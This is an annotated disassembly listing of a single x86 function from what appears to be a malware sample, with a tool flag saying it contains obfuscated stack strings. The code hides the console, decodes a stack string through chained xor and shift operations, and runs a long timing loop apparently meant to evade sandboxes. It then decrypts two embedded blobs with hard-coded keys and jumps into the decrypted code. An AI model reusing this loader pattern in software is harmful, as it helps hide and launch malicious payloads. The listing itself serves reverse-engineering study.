Function at 0x403180
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov byte [ebp - 0x48], 0x6d
mov byte [ebp - 0x47], 3
mov byte [ebp - 0x46], 2
mov byte [ebp - 0x45], 0xf3
mov byte [ebp - 0x44], 0xdb
mov byte [ebp - 0x43], 0xbf
mov byte [ebp - 0x42], 0x82
mov byte [ebp - 0x41], 0x7f
mov byte [ebp - 0x40], 0x46
mov byte [ebp - 0x3f], 0x2b
mov byte [ebp - 0x3e], 0x88
mov byte [ebp - 0x3d], 0xf2
mov byte [ebp - 0x3c], 0x54
mov byte [ebp - 0x3b], 0xb8
mov byte [ebp - 0x3a], 0xa
mov byte [ebp - 0x39], 0xe1
mov byte [ebp - 0x38], 0xa4
mov byte [ebp - 0x37], 0x34
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x84
mov byte [ebp - 0x34], 0x4e
mov byte [ebp - 0x33], 0x47
mov byte [ebp - 0x32], 0x80
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x77
mov byte [ebp - 0x2f], 0xbe
mov byte [ebp - 0x2e], 0x1f
mov byte [ebp - 0x2d], 0xe0
mov byte [ebp - 0x2c], 0x5f
mov byte [ebp - 0x2b], 0x4b
mov byte [ebp - 0x2a], 0
mov byte [ebp - 0x29], 7
mov byte [ebp - 0x28], 0x18
mov byte [ebp - 0x27], 0x66
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x2b
mov byte [ebp - 0x24], 0x99
mov byte [ebp - 0x23], 0x7d
mov byte [ebp - 0x22], 0x59
mov byte [ebp - 0x21], 0xa2
mov byte [ebp - 0x20], pe_nt_image_headers32
mov byte [ebp - 0x1f], 0x83
mov byte [ebp - 0x1e], 0x2b
mov byte [ebp - 0x1d], 0xcb
mov byte [ebp - 0x1c], 0xec
mov byte [ebp - 0x1b], 0xe
mov byte [ebp - 0x1a], 0x3d
mov byte [ebp - 0x19], 0xcc
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0xf7
mov byte [ebp - 0x16], 0xdb
mov byte [ebp - 0x15], 0x2b
mov byte [ebp - 0x14], 0xc
mov byte [ebp - 0x13], 0xee
mov byte [ebp - 0x12], 0xa4
mov byte [ebp - 0x11], 0x28
mov byte [ebp - 0x10], 0x8c
mov byte [ebp - 0xf], 0x62
mov byte [ebp - 0xe], 0xf0
mov dword [ebp - 0x68], 0
jmp 0x40328d
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x3b
jae 0x403357
mov ecx, dword [ebp - 0x68]
mov dl, byte [ebp + ecx - 0x48]
mov byte [ebp - 0x69], dl
movzx eax, byte [ebp - 0x69]
xor eax, dword [ebp - 0x68]
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
sar ecx, 5
movzx edx, byte [ebp - 0x69]
shl edx, 3
or ecx, edx
mov byte [ebp - 0x69], cl
movzx eax, byte [ebp - 0x69]
sub eax, dword [ebp - 0x68]
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
neg ecx
mov byte [ebp - 0x69], cl
movzx edx, byte [ebp - 0x69]
sub edx, dword [ebp - 0x68]
mov byte [ebp - 0x69], dl
movzx eax, byte [ebp - 0x69]
xor eax, dword [ebp - 0x68]
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
sar ecx, 2
movzx edx, byte [ebp - 0x69]
shl edx, 6
or ecx, edx
mov byte [ebp - 0x69], cl
movzx eax, byte [ebp - 0x69]
xor eax, 0x6e
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
sub ecx, 0xec
mov byte [ebp - 0x69], cl
movzx edx, byte [ebp - 0x69]
neg edx
mov byte [ebp - 0x69], dl
movzx eax, byte [ebp - 0x69]
not eax
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
sub ecx, 0x61
mov byte [ebp - 0x69], cl
movzx edx, byte [ebp - 0x69]
xor edx, dword [ebp - 0x68]
mov byte [ebp - 0x69], dl
movzx eax, byte [ebp - 0x69]
neg eax
mov byte [ebp - 0x69], al
movzx ecx, byte [ebp - 0x69]
sub ecx, dword [ebp - 0x68]
mov byte [ebp - 0x69], cl
mov edx, dword [ebp - 0x68]
mov al, byte [ebp - 0x69]
mov byte [ebp + edx - 0x48], al
jmp 0x403284
mov dword [ebp - 0x5c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
jmp 0x403377
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x383e5
jge 0x40338b
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
jmp 0x40336e
cmp dword [ebp - 0x5c], 0x383e5
jne 0x40343a
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0x590813
fld dword [0x40fc18]
fstp dword [ebp - 0x84]
mov dword [ebp - 0x90], 0
push 0x77e
push 0x413008
call fcn.004018a0
add esp, 8
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
push 0x5b
push 0x77e
push 0x413008
push str.POV4hp3Hy7tF1r2mRcyJQShwuYLPyzbthqZzNp7CCyGFyKvyRJlHqw85jP5SCwXdkLDIkFB2K7r75g0fQpJlsAHiCg
call fcn.00401800
add esp, 0x10
call fcn.004029c0
mov dword [ebp - 0x78], eax
push 0x5b
push 0x22400
push 0x413788
push str.RCIQBtiW8MmD6t8dGH1NYhsgS0ukDxQMA7SGoU9l9ZL80gcXtklbmWlFEEvlXnOtvfHqg6ro67U1XREOfMpREVkKTM
call section..text
add esp, 0x10
push 0x413788
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.00403140
add esp, 4
push eax
mov ecx, dword [ebp - 0x78]
add ecx, 0x413008
call ecx
add esp, 0xc
mov esp, ebp
pop ebp
ret